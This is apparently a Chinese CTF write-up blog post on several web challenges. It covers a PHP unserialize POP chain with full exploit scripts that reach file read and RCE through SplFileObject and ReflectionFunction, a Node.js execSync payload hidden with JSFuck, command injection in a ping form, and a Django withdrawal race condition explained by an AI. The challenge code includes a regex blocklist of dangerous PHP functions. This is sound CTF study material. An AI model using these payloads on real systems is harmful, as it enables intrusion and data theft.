本文最后更新于 2026年3月21日 中午
[阶段1] Ezphp
这里还是知识欠缺了,最后读文件用的是php的原生类:(
基本的链子会写,关键就是最后一步原生类的利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php
highlight_file(__FILE__); error_reporting(0);
class Sun{ public $sun; public function __destruct(){ die("Maybe you should fly to the ".$this->sun); } }
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; public function __set($name,$key){ $this->Mars = $key; $Dyson = $this->Mercury; $Sphere = $this->Venus; $Dyson->$Sphere($this->Mars); } public function __call($func,$args){ if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){ $exploar = new $func($args[0]); $road = $this->Jupiter; $exploar->$road($this->Saturn); } else{ die("Black hole"); } } }
class Moon{ public $nearside; public $farside; public function __tostring(){ $starship = $this->nearside; $starship(); return ''; } }
class Earth{ public $onearth; public $inearth; public $outofearth; public function __invoke(){ $oe = $this->onearth; $ie = $this->inearth; $ote = $this->outofearth; $oe->$ie = $ote; } }
if(isset($_POST['travel'])){ $a = unserialize($_POST['travel']); throw new Exception("How to Travel?"); }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php class Sun{ public $sun; }
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; }
class Moon{ public $nearside; public $farside; }
class Earth{ public $onearth; public $inearth; public $outofearth; }
$a = new Sun(); $a -> sun = new Moon(); $a -> sun -> nearside = new Earth(); $a -> sun -> nearside -> onearth = new Solar(); $a -> sun -> nearside -> inearth = "aaa"; $a -> sun -> nearside -> outofearth = "/flag"; $a -> sun -> nearside -> onearth -> Mercury = new Solar(); $a -> sun -> nearside -> onearth -> Venus = "SplFileObject"; $a -> sun -> nearside -> onearth -> Mercury -> Jupiter = "fpassthru"; $a -> sun -> nearside -> onearth -> Mercury -> Saturn = '';
$payload = 'a:2:{i:0;' . serialize($a) . ';i:0;i:0;}';
echo urlencode($payload);
|
如果进一步需要RCE的话,可以利用反射类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php class Sun{ public $sun; }
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; }
class Moon{ public $nearside; public $farside; }
class Earth{ public $onearth; public $inearth; public $outofearth; }
$a = new Sun(); $a -> sun = new Moon(); $a -> sun -> nearside = new Earth(); $a -> sun -> nearside -> onearth = new Solar(); $a -> sun -> nearside -> inearth = "aaa"; $a -> sun -> nearside -> outofearth = "array_map"; $a -> sun -> nearside -> onearth -> Mercury = new Solar(); $a -> sun -> nearside -> onearth -> Venus = "ReflectionFunction"; $a -> sun -> nearside -> onearth -> Mercury -> Jupiter = "invokeArgs"; $a -> sun -> nearside -> onearth -> Mercury -> Saturn = ['system',['ls /']];
$payload = 'a:2:{i:0;' . serialize($a) . ';i:0;i:0;}';
echo urlencode($payload);
|
参考文献
磨好的利剑:PHP原生类 | Blog of AyaN0
[阶段1] calc?js?fuck!
拥抱ai
题目进去是计算器,审计源码发现存在命令执行漏洞,用jsfuck就能绕过

payload
1
| process.mainModule.require('child_process').execSync('cat /flag').toString()
|
[阶段1] ez-ping
命令分割+通配符

[阶段1] ez_race
ai一把锁
🚨 核心漏洞:竞态条件 (Race Condition)
代码中所有的资金操作(提现 WithdrawView、充值 RechargeView、买旗 buy_flag)都试图通过数据库事务 (transaction.atomic()) 和 F() 表达式来保证原子性,但在 检查余额 和 扣款 之间存在逻辑竞争窗口,或者更准确地说,是利用了 并发请求下的状态不一致。
漏洞点分析:WithdrawView (提现)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 1 def form_valid(self, form): 2 amount = form.cleaned_data["amount"] 3 with transaction.atomic(): 4 time.sleep(1.0) 5 user = models.User.objects.get(pk=self.request.user.pk) 6 7 8 9 if user.money >= amount: 10 11 user.money = F('money') - amount 12 user.save() 13 models.WithdrawLog.objects.create(user=user, amount=amount) 14 15 16 user.refresh_from_db() 17 18 19 if user.money < 0: 20 return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
|
攻击原理:
虽然使用了 F('money') - amount 进行原子减法,但是 检查逻辑 if user.money >= amount 是在减法之前进行的。
更重要的是,最后的 if user.money < 0 检查是获取最终结果。
在 Django 中,F() 表达式的更新是在数据库层面执行的。
如果两个请求同时发起:
- 请求 A: 余额 100,提现 100。
- 请求 B: 余额 100,提现 100。
正常逻辑下(无延迟):
数据库事务隔离级别通常是 Read Committed 或更高。
- 事务 A 开始 -> 读余额 100 -> 检查 100>=100 (True) -> 执行
UPDATE ... money = money - 100 -> 提交。余额变 0。
- 事务 B 开始 -> 读余额 0 (因为 A 已提交) -> 检查 0>=100 (False) -> 不执行。
但是,代码中有一个 time.sleep(1.0)!
这极大地拉长了持有锁的时间或者事务执行的时间窗口。
真正的漏洞逻辑在于 F() 的使用方式与检查逻辑的脱节:
代码先 get 出来一个 user 对象(此时 user.money 是具体的数字,比如 10)。
然后判断 if user.money >= amount。
如果并发极高,且数据库隔离级别允许脏读或不可重复读(或者利用 time.sleep 让两个事务都卡在 get 之后,save 之前),可能会出现以下情况:
场景模拟 (利用 time.sleep 制造并发窗口):
假设用户余额为 10。用户发起 2个 并发请求,每个请求提现 10。
- 线程 1: 进入
atomic -> sleep(1s) -> get 用户 (钱=10) -> 检查 10 >= 10 (True)。
- 线程 2: (几乎同时) 进入
atomic -> sleep(1s) -> get 用户 (钱=10,因为线程1还没提交) -> 检查 10 >= 10 (True)。
- 线程 1: 唤醒 -> 执行
user.money = F('money') - 10 -> save() (数据库执行 UPDATE table SET money = money - 10 WHERE id=1)。此时数据库余额变为 0。提交事务。
- 线程 2: 唤醒 -> 执行
user.money = F('money') - 10 -> save()。
- 这里取决于数据库的锁机制。如果是行锁,线程2会等待线程1提交。
- 关键点:一旦线程1提交,线程2继续执行。线程2的
F('money') 是基于当前数据库值计算的。
- 线程1提交后,库中是 0。线程2执行
0 - 10 = -10。
- 结果:余额变成了 -10。